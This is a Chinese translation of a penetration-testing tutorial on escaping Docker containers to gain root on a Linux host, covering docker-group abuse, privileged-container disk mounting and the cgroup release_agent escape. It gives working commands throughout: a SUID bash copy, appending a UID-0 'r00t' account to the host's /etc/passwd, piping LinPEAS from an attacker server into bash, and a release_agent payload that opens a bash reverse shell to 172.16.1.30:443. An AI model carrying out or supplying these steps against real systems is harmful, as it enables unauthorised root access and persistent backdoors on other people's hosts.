Linux 提權(quán)-Docker 容器
共 13228字,需瀏覽 27分鐘
·
2024-06-30 22:11
本文通過 Google 翻譯 Docker Breakout – Linux Privilege Escalation 這篇文章所產(chǎn)生,本人僅是對(duì)機(jī)器翻譯中部分表達(dá)別扭的字詞進(jìn)行了校正及個(gè)別注釋補(bǔ)充。
導(dǎo)航
0 前言
1 什么是 Docker ?
2 尋找 Docker 權(quán)限
2.1 升級(jí) Shell 到完整 TTY
2.2 手動(dòng)枚舉 Docker 組中的用戶
2.3 手動(dòng)枚舉 Docker 服務(wù)
2.4 手動(dòng)枚舉 Docker 鏡像和默認(rèn)用戶
2.5 工具枚舉 Docker – LinPEAS
3 場(chǎng)景1:通過濫用 Docker 組權(quán)限提權(quán)
3.1 在 GTFOBins 上查找 Docker 利用
3.2 在 Docker 容器中掛載宿主機(jī)文件系統(tǒng)
3.3 突破 Docker 容器以獲取宿主機(jī) Root 權(quán)限
4 場(chǎng)景2:直接在特權(quán)容器中立足
4.3.1 添加 "root" 用戶
4.3.2 登錄 "root" 用戶
4.1 確認(rèn)處于 Docker 容器中
4.2 確認(rèn)這是一個(gè)特權(quán)容器
4.3 突破特權(quán)容器
5 場(chǎng)景3:直接在非特權(quán)容器中立足
5.3.1 找到很多關(guān)于容器的好信息
5.2.1 查找已啟用的有趣功能 – CAP_SYS_ADMIN
5.2.2 確認(rèn) AppArmor 未加載
5.1 確定這不是特權(quán)容器
5.2 尋找其它突破方法
5.3 使用工具尋找 Docker 突破口 – LinPEAS
5.4 使用 release_agent Breakout 2 方法突破非特權(quán)容器
0、前言
在本文中,我們將探索使用 Docker 突破技術(shù)在目標(biāo) Linux 主機(jī)上提升權(quán)限。
我們將回顧三種不同的 Docker 突破場(chǎng)景。在每種場(chǎng)景中,我們都會(huì)看到一種可以用來突破 Docker 容器的不同技術(shù),而每種情況都會(huì)讓我們?cè)谀繕?biāo)主機(jī)上獲得 root shell!
首先,我們要在目標(biāo)主機(jī)上站穩(wěn)腳跟,然后經(jīng)過手動(dòng)枚舉,我們會(huì)發(fā)現(xiàn)當(dāng)前用戶已加入 docker 組。發(fā)現(xiàn)這一點(diǎn)后,我們將枚舉 docker 服務(wù),并收集我們所需的信息,以便投入到 docker 容器中。我們通過使用 GTFOBins 找到一個(gè)利用,使我們能夠以 root 身份操縱實(shí)際的文件系統(tǒng)。
另一種場(chǎng)景是,我們?cè)谀繕?biāo)系統(tǒng)中獲得了立足點(diǎn);然而,我們會(huì)發(fā)現(xiàn),我們的立足點(diǎn)實(shí)際上是在目標(biāo)主機(jī)上運(yùn)行的 docker 實(shí)例中。然后,我們將列舉容器內(nèi)的一些東西,這些東西將表明我們實(shí)際上是在一個(gè)有特權(quán)的容器內(nèi),而脫離容器將變的輕而易舉。
最后一種場(chǎng)景與上一種場(chǎng)景類似,只是我們會(huì)發(fā)現(xiàn)我們并不在特權(quán)容器中。但幸運(yùn)的是,經(jīng)過枚舉會(huì)發(fā)現(xiàn)我們實(shí)際上擁有正確的權(quán)限組合,可以讓我們突破 docker 容器,從而在宿主機(jī)上獲得 root shell。
1、什么是 Docker ?
Docker 是一個(gè)開放平臺(tái),用于開發(fā)、發(fā)布和運(yùn)行獨(dú)立于主機(jī)基礎(chǔ)設(shè)施的應(yīng)用程序。
使用 Docker 可以將應(yīng)用程序打包并在一個(gè)稱為容器的松散隔離環(huán)境中運(yùn)行。這種隔離和安全性允許許多容器同時(shí)在指定主機(jī)上運(yùn)行。
容器是輕量級(jí)的,包含運(yùn)行應(yīng)用程序所需的一切。
Docker 使用客戶端-服務(wù)器架構(gòu)。Docker 客戶端與 Docker 守護(hù)進(jìn)程通信,后者負(fù)責(zé)構(gòu)建和運(yùn)行 Docker 容器的繁重工作。
作為攻擊者,我們可以看到 docker run 是上面三個(gè)客戶端命令中最有趣的,因?yàn)樗茏屛覀冞M(jìn)入一個(gè)容器。
關(guān)于 Docker,還有一些其他有趣的事情需要記住,這將有助于我們定位這項(xiàng)服務(wù):
docker 容器通常以 root 作為默認(rèn)用戶運(yùn)行。
默認(rèn)情況下,容器以 root 身份運(yùn)行,因?yàn)?nbsp;dockerd(docker 守護(hù)進(jìn)程)默認(rèn)也以 root 身份運(yùn)行。
容器啟動(dòng)選項(xiàng) –privileged 為容器提供了所有功能。換句話說,容器幾乎可以做主機(jī)能做的所有事情。
docker 組中的用戶對(duì)于 docker 服務(wù)而言相當(dāng)于 root。
注:此處及后文提到的 docker 容器用戶和 docker 進(jìn)程用戶并非同一個(gè)身份。
docker 容器用戶:指進(jìn)入容器之后,在容器操作環(huán)境中的用戶身份。
docker 進(jìn)程用戶:指容器外部 docker 守護(hù)進(jìn)程是以宿主機(jī)的哪個(gè)用戶身份去運(yùn)行的。
考慮到所有這些,讓我們來看一些例子!
2、尋找 Docker 權(quán)限
對(duì)于此示例,我們假設(shè)以標(biāo)準(zhǔn)用戶 dawker 在目標(biāo) Linux 主機(jī)上獲得了立足點(diǎn)。
2.1、升級(jí) Shell 到完整 TTY
站穩(wěn)腳跟后我們要做的第一件事就是將 shell 升級(jí)為完整的 TTY。我們可以使用以下命令集來完成此操作:
python3 -c 'import pty;pty.spawn("/bin/bash");'
CTRL + Z
stty raw -echo;fg
export TERM=xterm
現(xiàn)在有了完整的 TTY,我們可以使用箭頭瀏覽命令歷史記錄、使用制表符補(bǔ)全、清除終端等。
完整 TTY 對(duì)于我們將要使用的漏洞利用來說還是很有必要的。
2.2、手動(dòng)枚舉 Docker 組中的用戶
一旦建立了完整的 TTY,應(yīng)該執(zhí)行的第一對(duì)命令是 whoami 和 id。這將向我們顯示當(dāng)前是哪個(gè)用戶以及哪個(gè)組。
whoami ; id
在這里可以看到當(dāng)前用戶是一個(gè)名為 dawker 的標(biāo)準(zhǔn)用戶。然而,在該用戶所屬的組列表中,我們可以看到一個(gè)有趣的發(fā)現(xiàn)--當(dāng)前用戶已位于 docker 組中!
加入 docker 組是一個(gè)有趣的發(fā)現(xiàn),因?yàn)槿绻?docker 使用的是默認(rèn)配置,那么 root 權(quán)限就是有保障的。
但大多數(shù)時(shí)候,我們不會(huì)直接就以 docker 組中的用戶身份在目標(biāo)主機(jī)上立足,因此,我們需要對(duì) docker 組中的用戶進(jìn)行水平提權(quán),然后才能獲得 root 權(quán)限。
如果是這種情況,那么我們可以使用以下 for 循環(huán) 來尋找 docker 組中的用戶:
for user in $(cat /etc/passwd | awk -F: '{print $1}');do echo "$user" ; id "$user" ;done | grep -B 1 "docker"
這個(gè) for 循環(huán)執(zhí)行以下操作:
首先,使用 cat /etc/passwd 查看系統(tǒng)上的所有用戶,然后使用awk 只輸出用戶名字段。
接下來,循環(huán)回顯每個(gè)用戶名并對(duì)它們執(zhí)行 id 命令。
最后,使用 grep 只抓取其中包含 “docker” 的結(jié)果。
以上執(zhí)行結(jié)果也向我們表明第二個(gè)用戶 “devops” 也在 docker 組中。而如果我們以既不是 “devops” 也不是 “dawker” 的用戶身份進(jìn)入 shell,那么我們會(huì)想要尋找一種方法來水平提權(quán)到其中一個(gè)用戶。
2.3、手動(dòng)枚舉 Docker 服務(wù)
幸運(yùn)的是,我們發(fā)現(xiàn)當(dāng)前用戶正好位于 docker 組中。
那么接下來,我們需要進(jìn)一步枚舉 docker 服務(wù),以確定是否可以濫用 docker 組權(quán)限提升到 root。
此處跑題開始
首先需要確定的是,我們是否可以掛載 docker 套接字。如果發(fā)現(xiàn)套接字可以寫入,我們就可以有效地使用 docker 命令并將其放入容器中。
find / -name docker.sock 2>/dev/null
運(yùn)行 find 命令后,docker.sock 文件的位置就暴露了。找到后,我們可以檢查該文件的權(quán)限。
ls -l /run/docker.sock
在這里,我們可以看到 docker.sock 文件對(duì) docker 組中的用戶是可寫的!這意味著我們可以用當(dāng)前用戶操作及登錄容器。
注:該部分的主題以枚舉 docker 服務(wù)為主,而此處的描述有些跑題,顯得詞不達(dá)意,但依舊值得去學(xué)習(xí)。
套接字 docker.sock 文件相當(dāng)于是 Docker 守護(hù)進(jìn)程的一個(gè) API 接口,多用于容器與守護(hù)進(jìn)程通信以操作管理守護(hù)進(jìn)程,通俗易理解示例如 docker.ui 容器管理容器。
也就是說,如果我們能夠有權(quán)讀寫 docker.sock 文件,即便不是 root 用戶、不在 docker 組中,我們也依舊可以通過一些特殊操作去管理容器(創(chuàng)建、查看、交互)。
參考:特殊操作1、特殊操作2
此處跑題結(jié)束
接下來我們要枚舉的是 docker 服務(wù)。理想情況下,我們希望該服務(wù)不是在無(wú)根模式下運(yùn)行。
使用無(wú)根模式,Docker 容器和守護(hù)進(jìn)程都會(huì)在定義的用戶命名空間內(nèi)運(yùn)行。這樣,守護(hù)進(jìn)程就可以在沒有 root 權(quán)限的情況下運(yùn)行。
ps -ef | grep -i "docker"
Great!在這里,我們可以看到 docker 守護(hù)進(jìn)程是以 root 的身份運(yùn)行的,這意味著我們可以以 root 的身份在容器外執(zhí)行命令。
注:在場(chǎng)景1中,在容器中進(jìn)行的拷貝賦權(quán)等操作同樣作用到了容器外部的系統(tǒng)上面,而這些操作在容器外部本應(yīng)該是以 root 身份去進(jìn)行的,但由于 docker 進(jìn)程是 root 身份運(yùn)行的,故這些在容器中的操作也同樣有了 root 身份的加持。
繼續(xù)往下看,我們應(yīng)該進(jìn)一步列舉 docker 是如何配置的,以確定在創(chuàng)建容器并登錄容器后使用的是哪個(gè)身份的用戶。
2.4、手動(dòng)枚舉 Docker 鏡像和默認(rèn)用戶
Docker 容器總是以 root 作為默認(rèn)用戶運(yùn)行,除非在 Dockerfile 或啟動(dòng)命令行中另有指定。
確定該主機(jī)上的容器是否以 root 作為默認(rèn)用戶運(yùn)行的最佳方法是簡(jiǎn)單地啟動(dòng)一個(gè)容器。
首先,我們看下目標(biāo)主機(jī)上現(xiàn)有的 docker 鏡像有哪些,可以使用以下命令:
docker images
可以看到,這里安裝了一個(gè) Alpine 鏡像,因此我們可以記下存儲(chǔ)庫(kù)名稱 “alpine”,以便在啟動(dòng)容器時(shí)使用該名稱。
在啟動(dòng)容器時(shí),您還可以使用映像 ID 代替存儲(chǔ)庫(kù)名稱。
接著,我們啟動(dòng)一個(gè)容器,該容器將運(yùn)行單個(gè)命令 (whoami),然后自行銷毀。
docker run --rm -it alpine sh -c "whoami"
Amazing!主機(jī)使用默認(rèn)配置,容器以 root 作為默認(rèn)用戶運(yùn)行!
現(xiàn)在我們已經(jīng)列舉了這項(xiàng)服務(wù),并確認(rèn)它存在漏洞,那么我們就可以尋找漏洞來提升權(quán)限。
然而,在我們這樣做之前,讓我們看看 LinPeas 是如何枚舉信息的。
2.5、工具枚舉 Docker – LinPEAS
LinPEAS 是一款終極的后滲透枚舉工具,本文中關(guān)于它在受害者機(jī)器上進(jìn)行的傳輸、執(zhí)行等過程不再累述,我們只關(guān)注在腳本執(zhí)行結(jié)束之后關(guān)于輸出結(jié)果的梳理,看看 LinPEAS 枚舉效果如何。
LinPEAS 首先要做的檢查之一是 "Basic Information",它基本上是通過幾個(gè)簡(jiǎn)單的命令來提供高級(jí)信息。
這里運(yùn)行的簡(jiǎn)單命令之一是 id,它立即向我們顯示當(dāng)前用戶位于 docker 組中。
接著,我們來到 “Processes, Crons, Timers, Services and Sockets” 部分,在這里我們可以看到 dockerd 進(jìn)程由 root 擁有。
令人驚訝的是,這甚至不是一個(gè)紅色發(fā)現(xiàn),這意味著如果我們不知道尋找它,它很容易會(huì)被忽視。
在同一部分中進(jìn)一步向下滾動(dòng)。我們將會(huì)遇到 Unix Sockets。在這里我們會(huì)發(fā)現(xiàn) docker.sock 文件是可寫的。
過去,可寫的 docker.sock 結(jié)果總是紅色/黃色。但在最新版本的 LinPEAS 中(本文撰寫時(shí)),這只是一個(gè)紅色結(jié)果。
下一部分我們將在 “User Information” 部分找到有關(guān) docker 的信息。
在這里,我們可以看到針對(duì)當(dāng)前用戶再次發(fā)出的 id 命令。再往下一點(diǎn),我們還可以看到 docker 組中的所有用戶。
最后,當(dāng)我們繼續(xù)向下滾動(dòng)時(shí),我們將看到 “docker files”,但在這個(gè)例子中它們都不是重點(diǎn)。
以上結(jié)果表明,LinPEAS 能夠像手動(dòng)操作一樣枚舉 docker 服務(wù)。
請(qǐng)記住,LinPEAS 并不會(huì)嘗試枚舉容器鏡像,也不會(huì)檢查容器是否以 root 作為默認(rèn)用戶運(yùn)行。
現(xiàn)在,我們已經(jīng)了解了如何枚舉 docker 服務(wù)、鏡像和默認(rèn)用戶,接下來讓我們看看如何利用我們發(fā)現(xiàn)的內(nèi)容繼續(xù)利用該服務(wù)。
3、場(chǎng)景1:通過濫用 Docker 組權(quán)限提權(quán)
之前我們了解了如何枚舉容器中的默認(rèn)用戶,而默認(rèn)用戶恰好是 root。進(jìn)行枚舉時(shí),我們使用 docker run 命令啟動(dòng)容器來執(zhí)行單條命令。
與我們啟動(dòng)容器來運(yùn)行單條命令類似,我們也可以啟動(dòng)容器并進(jìn)入 shell 中,以與其進(jìn)行命令交互。
docker run --rm -it alpine sh
這一次,我們進(jìn)入了一個(gè)帶有文件系統(tǒng)的容器,不過請(qǐng)注意,在這個(gè)文件系統(tǒng)中的 root 與在宿主機(jī)上的 root 是并不相同的。
3.1、在 GTFOBins 上查找 Docker 利用
那么我們?nèi)绾尾拍軓娜萜髦械?root 轉(zhuǎn)到實(shí)際主機(jī)上的 root 呢?答案就在于 docker run 命令以及我們?nèi)绾螁?dòng)容器。
由于漏洞利用依賴于 docker 命令,因此我們可以檢查 GTFOBins 以查找漏洞利用。
我們知道當(dāng)前的用戶正好位于 docker 組中,而這也正好符合上面 docker 命令的使用條件,這也就意味著我們可以利用它并獲得 root 權(quán)限!
GTFOBins 給出的利用命令有很多選擇,但 “shell” 絕對(duì)是最有趣的。
這告訴我們,我們可以擺脫受限環(huán)境并獲得 root shell,這太完美了!
上面的命令會(huì)將宿主機(jī)文件系統(tǒng)掛載到容器內(nèi)的 /mnt 目錄,然后將我們放入 /mnt 中的 shell 中。本質(zhì)上,我們將成為容器內(nèi)的 root,但實(shí)際上會(huì)與宿主機(jī)的文件系統(tǒng)進(jìn)行交互。
3.2、在 Docker 容器中掛載宿主機(jī)文件系統(tǒng)
由于目標(biāo)主機(jī)上的鏡像文件也是 alpine,因此我們可以使用 GTFOBins 中的命令,而無(wú)需對(duì)其進(jìn)行編輯。
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
現(xiàn)在,當(dāng)我們執(zhí)行 ls 命令時(shí),我們看到列出了更多的目錄。這是因?yàn)槲覀兛吹降氖撬拗鳈C(jī)文件系統(tǒng)上的目錄!
因?yàn)槲覀儝燧d了宿主機(jī)文件系統(tǒng),所以我們對(duì)文件或目錄所做的任何更改也將反映在宿主機(jī)的文件系統(tǒng)上。
不過,事實(shí)是,我們?nèi)栽?docker 容器中。所以,讓我們看看如何才能擺脫困境,在真正的主機(jī)上獲得 root!
3.3、突破 Docker 容器以獲取宿主機(jī) Root 權(quán)限
由于我們已經(jīng)掛載了宿主機(jī)的文件系統(tǒng),因此突破 docker 容器將是輕而易舉的。
我們可以使用一些很好的技術(shù)來突破這個(gè)容器,但是在這個(gè)例子中,我們將通過制作 SUID bash 二進(jìn)制文件來提升到 root 權(quán)限。
cp /bin/bash /tmp/bash
chmod +s /tmp/bash
ls -l /tmp
Amazing!我們可以看到 SUID bash 二進(jìn)制文件已在 /tmp 目錄中創(chuàng)建。
現(xiàn)在,當(dāng)我們從容器中退出時(shí),應(yīng)該會(huì)在實(shí)際主機(jī)上看到相同的 SUID bash 二進(jìn)制文件。
確認(rèn)文件位于宿主機(jī)上后,我們只需運(yùn)行以下命令即可進(jìn)入 root shell:
/tmp/bash -p
Awesome!我們成功脫離了 docker 容器,并在宿主機(jī)上獲得了 root shell。
4、場(chǎng)景2:直接在特權(quán)容器中立足
上一種場(chǎng)景中,我們先是在外部利用主機(jī)并獲得了一個(gè)普通用戶 shell。但這一次,當(dāng)我們站穩(wěn)腳跟時(shí),似乎立刻就獲得了 root ?
此時(shí)此刻,我們還不確定自己是否在容器中。
在此示例中,我們使用 netcat 立足,因此我們應(yīng)該像之前一樣嘗試升級(jí)到完整的 TTY。
好吧,既然我們是 root,我們不妨看看是否可以查看 /root 目錄中的文件。
有趣的是,我們?cè)谶@里什么也沒看到,這時(shí)候我們就應(yīng)該開始懷疑自己是不是在一個(gè) docker 容器中。
4.1、確認(rèn)處于 Docker 容器中
我們可以使用幾種方法來檢查自己是否處于 docker 容器中。
首先,12 個(gè)隨機(jī)數(shù)字/字母組合作為主機(jī)名是一個(gè)常見的標(biāo)志,表明我們位于 docker 容器中。
另一個(gè)要找的東西是文件系統(tǒng)根目錄下的 .dockerenv 文件。如果我們看到了這個(gè)文件,那么很有可能我們是在一個(gè)容器中。
ls -la /
最后,確認(rèn)我們是否處于 docker 容器中的最佳方法是檢查 cgroup 進(jìn)程。
cat /proc/1/cgroup
看到所有屬于 docker 的控制組,就能確認(rèn)我們確實(shí)是在一個(gè) docker 容器中。
4.2、確認(rèn)這是一個(gè)特權(quán)容器
由于直接立足于 docker 容器,因此我們這次就不能使用 docker run 命令進(jìn)行漏洞利用。相反,我們必須從 docker 容器內(nèi)部進(jìn)行枚舉以確定是否設(shè)置了 –privileged 標(biāo)志。
有很多方法可以判斷在啟動(dòng)容器時(shí)是否使用了 –privileged 標(biāo)志,從 fdisk 命令開始。
fdisk -l | grep -A 10 -i "device"
由于我們能夠列出設(shè)備,因此基本上可以確認(rèn)我們是在一個(gè)有權(quán)限的容器中。在非特權(quán)容器中,這條命令將被拒絕執(zhí)行。
檢查我們是否處于特權(quán)容器中的另一種方法是檢查狀態(tài)進(jìn)程中的 seccomp 值。
cat /proc/1/status | grep -i "seccomp"
看到兩個(gè)字段都為 0 清楚地表明這是一個(gè)特權(quán)容器。在非特權(quán)容器中,我們將分別看到 2 和 1。
最后,我們還可以進(jìn)行一項(xiàng)檢查,也許是最簡(jiǎn)單的一項(xiàng)檢查,就是查看 /dev 目錄中有多少文件。
ls /dev
在 /dev 中看到大量文件和子目錄,證明這是一個(gè)特權(quán)容器。在非特權(quán)容器中,我們不會(huì)在其中看到如此多的文件。
4.3、突破特權(quán)容器
現(xiàn)在我們已經(jīng)確定我們處于一個(gè)特權(quán)容器中,下一步就是突破它。
與上一個(gè)示例類似,我們將掛載宿主機(jī)文件系統(tǒng)以突破容器。這次的不同之處在于我們需要從 docker 容器內(nèi)部掛載它。
首先,我們需要找到屬于主機(jī)的驅(qū)動(dòng)器,以便掛載它。
df -h
在這里,我們可以看到 sda5 是主機(jī)驅(qū)動(dòng)器,這也是我們?cè)谇懊娴?fdisk 命令輸出中看到的。
有了主機(jī)驅(qū)動(dòng)器的名稱,我們現(xiàn)在可以掛載它,然后從 Docker 內(nèi)部訪問主機(jī)上的所有文件。
mkdir -p /mnt/juggernaut
mount /dev/sda5 /mnt/juggernaut
ls -l /mnt/juggernaut
Great!我們成功掛載了宿主機(jī)文件系統(tǒng),現(xiàn)在我們可以 root 身份與其交互。
盡管我們擁有宿主機(jī)文件系統(tǒng)的 root 訪問權(quán)限,但事實(shí)是我們?nèi)匀辉谌萜髦小K袁F(xiàn)在我們需要突破容器以獲得實(shí)際主機(jī)上的 root shell。
但與上次不同的是,我們無(wú)法復(fù)制 bash 并設(shè)置 SUID 位,因?yàn)槲覀冊(cè)谥鳈C(jī)上沒有立足點(diǎn)來執(zhí)行它。
相反,我們需要做一些不同的事情來獲取 root shell。
對(duì)于本例,我們要做的是創(chuàng)建一個(gè) root 用戶,然后使用它通過 SSH 連接到主機(jī)。
注:此處必須要了解 docker 容器和宿主機(jī)之間的網(wǎng)絡(luò)模式,本例容器的網(wǎng)絡(luò)模式必須是 host 模式,也就是容器相當(dāng)于一個(gè)應(yīng)用部署在宿主機(jī)上,和宿主機(jī)使用共同的網(wǎng)卡、共同的 ip ,且假設(shè)宿主機(jī)已運(yùn)行 ssh 服務(wù)。若容器使用其它的網(wǎng)絡(luò)模式,則下列方法無(wú)效。
4.3.1、添加 “root” 用戶
由于宿主機(jī)文件系統(tǒng)掛載在容器中,因此通過編輯容器內(nèi)部的 passwd 文件,更改也會(huì)發(fā)生在宿主機(jī)上。
首先,我們需要在攻擊者計(jì)算機(jī)上為 root 用戶生成密碼哈希。
openssl passwd -1 -salt r00t password123
獲得哈希值后,我們可以獲取此信息并將其輸入以下命令,以將新行附加到 passwd 文件中,創(chuàng)建一個(gè)名為 r00t 的新 root 用戶:
echo 'r00t:$1$r00t$HZoYdo0F7UZbuKrEXMcah0:0:0:/dev/shm/pwnt:/bin/bash' >> /mnt/juggernaut/etc/passwd
4.3.2、登錄 “root” 用戶
Perfect!我們的 root 用戶已經(jīng)創(chuàng)建了?,F(xiàn)在我們需要做的就是通過 SSH 連接到主機(jī),我們就擁有了 root shell!
因?yàn)槲覀儗⒂脩?id 和組 id 設(shè)置為0,所以這個(gè)新用戶和內(nèi)置的 root 是一樣的。只要 UID 和 GID 為 0,所有 "root" 都是平等的。
ssh r00t@172.16.1.150
BOOM!就這樣,我們無(wú)需先在宿主機(jī)上站穩(wěn)腳跟,就能脫離 docker 容器!
5、場(chǎng)景3:直接在非特權(quán)容器中立足
正如我們?cè)谏弦粋€(gè)例子中所看到的,我們從外部利用了同一臺(tái)主機(jī),并再次直接在 docker 容器中獲得了立足點(diǎn)。
對(duì)于這個(gè)例子,假設(shè)我們已經(jīng)升級(jí)到完整 TTY,并且我們還確認(rèn)自己就是處于 docker 容器中。
接下來,我們需要檢查這是否是一個(gè)特權(quán)容器。
5.1、確定這不是特權(quán)容器
就像上一個(gè)例子一樣,我們首先檢查是否可以使用 fdisk 命令。
fdisk -l | grep -A 10 -i "device"
這次我們什么也沒看到!這是一個(gè)早期跡象,表明我們并不處于特權(quán)容器中。但是,我們繼續(xù)檢查……
cat /proc/1/status | grep -i "seccomp"
Ouch! 分別看到 2 和 1,說明該容器沒有使用 -privileged 標(biāo)記運(yùn)行。
為了查看我們之前所做的三項(xiàng)檢查中特權(quán)和非特權(quán)之間的區(qū)別,我們還可以檢查 /dev 以確認(rèn)這不是一個(gè)特權(quán)容器。
ls /dev
與在特權(quán)容器中相比,在 /dev 中幾乎看不到任何文件或子目錄,這進(jìn)一步表明該容器沒有特權(quán)。
那么,如果容器沒有特權(quán),我們?cè)撊绾翁由??這取決于該容器是否被授予了任何權(quán)限。如果設(shè)置的是默認(rèn)權(quán)限,那么我們很可能無(wú)法逃出。
5.2、尋找其它突破方法
如果容器擁有默認(rèn)權(quán)限,那么它基本就被鎖定了。不過,我們?nèi)詰?yīng)檢查是否授予了任何權(quán)限。如果我們運(yùn)氣好,啟用了正確的組合,我們就可以逃出這個(gè)容器。
5.2.1、查找已啟用的有趣功能 – CAP_SYS_ADMIN
我們首先要檢查的是,我們是否啟用了任何可以幫助我們突圍的功能。
capsh --print
在這里,我們可以看到在容器中啟用 CAP_SYS_ADMIN 的一個(gè)重要功能。有很多功能可用于突破 docker 容器,但這個(gè)功能是迄今為止最好用的功能。
需要使用 CAP_SYS_ADMIN 來執(zhí)行容器內(nèi)所需的一系列管理操作。如果在容器內(nèi)執(zhí)行特權(quán)操作,但沒有使用 -privileged 標(biāo)記,那么該功能很可能是為 "最小特權(quán)原則 " 而設(shè)置的。
由于我們發(fā)現(xiàn)在此容器中啟用了 CAP_SYS_ADMIN,因此我們需要重點(diǎn)關(guān)注專門使用此功能的漏洞利用。
對(duì)我們來說幸運(yùn)的是, Felix Wilhelm 發(fā)現(xiàn)了一個(gè)漏洞,只要滿足 2 個(gè)條件,攻擊者就可以突破 docker 容器:啟用 CAP_SYS_ADMIN 、 AppArmor 停止或未加載。
5.2.2、確認(rèn) AppArmor 未加載
根據(jù)這次攻擊的要求,我們需要做的就是檢查 AppArmor 是否正在運(yùn)行。如果幸運(yùn)的話,我們發(fā)現(xiàn)它沒有被加載或停止運(yùn)行,那么我們就可以突破這個(gè)容器并在宿主機(jī)上獲得 root 權(quán)限!
要檢查 AppArmor 是否正在運(yùn)行,我們所要做的就是檢查一個(gè)文件,即 /sys/kernel/security/apparmor/profiles 文件。
如果檢查 /sys/kernel/security/apparmor/profiles 的內(nèi)容,顯示 一堆 profile 列表,則表明 AppArmor 正在運(yùn)行;如果顯示 空文件且不返回任何內(nèi)容,則表明 AppArmor 已停止;如果提示該文件不存在,則表明 AppArmor 未被加載。
到了關(guān)鍵時(shí)刻……
cat /sys/kernel/security/apparmor/profiles
Perfect!我們檢查該文件后發(fā)現(xiàn)它不存在,這意味著 AppArmor 未被加載!
由于 AppArmor 未加載且 CAP_SYS_ADMIN 已啟用,因此我們擁有突破此容器所需的兩個(gè)條件,即便該容器啟動(dòng)時(shí)并未設(shè)置 –privileged 標(biāo)志。
然而,在我們了解如何突破這個(gè)容器之前,讓我們?cè)賮砜纯?LinPEAS 在容器內(nèi)部的枚舉效果如何。。
5.3、使用工具尋找 Docker 突破口 – LinPEAS
假設(shè)一切都已設(shè)置完畢并準(zhǔn)備就緒(HTTP 服務(wù)器在攻擊者上運(yùn)行以提供 LinPEAS),我們需要做的就是下載并執(zhí)行 LinPEAS。
curl 172.16.1.30/linpeas.sh | bash
首先,我們會(huì)注意到測(cè)試結(jié)果是以 root 身份運(yùn)行的。不幸的是,這會(huì)導(dǎo)致一些誤報(bào)。
因?yàn)槲覀兪?root,所以我們會(huì)看到很多紅色/黃色的結(jié)果。為了消除噪音,實(shí)際上,在運(yùn)行 LinPEAS 之前,我們已經(jīng)進(jìn)行了一些手動(dòng)枚舉,以確定我們是處在容器中。了解了這一點(diǎn),我們就可以避開噪音,直接獲取我們想知道的信息。
如果我們向下滾動(dòng)一點(diǎn),我們將看到 “Protections”,在這里我們可以看到容器中啟用了哪些安全功能。
這告訴我們 seccomp 已啟用,但 AppArmor 是 “unconfined”,這意味著我們應(yīng)該能夠使用 mount 命令。
啟用 AppArmor 后,您將無(wú)法使用 mount 命令,權(quán)限將被拒絕。
5.3.1、找到很多關(guān)于容器的好信息
在 “Protections” 小節(jié)下方,我們將看到 “Container” 部分,這里是我們了解容器配置最多的地方。
在這里我們可以看到 LinPEAS 已經(jīng)確定我們處于一個(gè)容器中,并且它表明 AppArmor 是 “unconfined”。然而,最有趣的發(fā)現(xiàn)是 docker 很容易受到 “release_agent breakout” 1 和 2 的影響。
接下來,如果我們?cè)傧蛳聺L動(dòng)一點(diǎn),我們可以看到“Container Capabilities”。
本節(jié)以外的其余檢查都是標(biāo)準(zhǔn)檢查,由于已經(jīng)是 root,所以它們充滿了紅色/黃色發(fā)現(xiàn)的誤報(bào)。
LinPEAS 在枚舉容器內(nèi)部方面做得很好。它能夠找到我們通過手動(dòng)枚舉找到的所有信息;然而,真正的好處是 LinPEAS 可以根據(jù)當(dāng)前權(quán)限集檢查可以使用的不同突破方法。
5.4、使用release_agent Breakout 2 方法突破非特權(quán)容器
通過枚舉 docker 容器,我們發(fā)現(xiàn)應(yīng)該能夠使用 “release_agent breakout 2” 方法進(jìn)行突破。
現(xiàn)在讓我們看看如何使用此技術(shù)進(jìn)行突破并以 root 身份獲得反向 shell!
首先,我們需要掛載 RDMA cgroup 控制器并創(chuàng)建一個(gè)子 cgroup。
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
完成后,我們需要在“x”cgroup 發(fā)布時(shí)啟用 cgroup 通知。
echo 1 > /tmp/cgrp/x/notify_on_release
接下來,我們需要找到容器的 OverlayFS 的掛載路徑。
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
設(shè)置完畢后,下一步是將 release_agent 設(shè)置為 /path/payload
echo "$host_path/breakout" > /tmp/cgrp/release_agent
現(xiàn)在,我們將制作有效載荷,它將是通過端口 443 到達(dá)我們攻擊者機(jī)器的反向 shell。
echo '#!/bin/bash' > /breakout
echo 'bash -i >& /dev/tcp/172.16.1.30/443 0>&1' >> /breakout
接下來,我們只需要為有效載荷添加執(zhí)行權(quán)限,然后返回到我們的攻擊者機(jī)器在端口 443 上設(shè)置一個(gè) netcat 監(jiān)聽器。
chmod a+x /breakout
回到我們的攻擊者機(jī)器上......
nc -nvlp 443
最后,再次回到受害者,我們現(xiàn)在可以使用以下命令執(zhí)行我們的有效負(fù)載:
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
關(guān)鍵時(shí)刻,我們獲得了 root shell。
Amazing!即使啟動(dòng)容器沒有設(shè)置 –privileged 標(biāo)志,我們也能夠突破并獲得主機(jī)的 root 權(quán)限!當(dāng)然,要使此漏洞發(fā)揮作用,確實(shí)需要設(shè)置一些權(quán)限。
鏈接:https://www.cnblogs.com/kqdssheng/p/18275541
(版權(quán)歸原作者所有,侵刪)
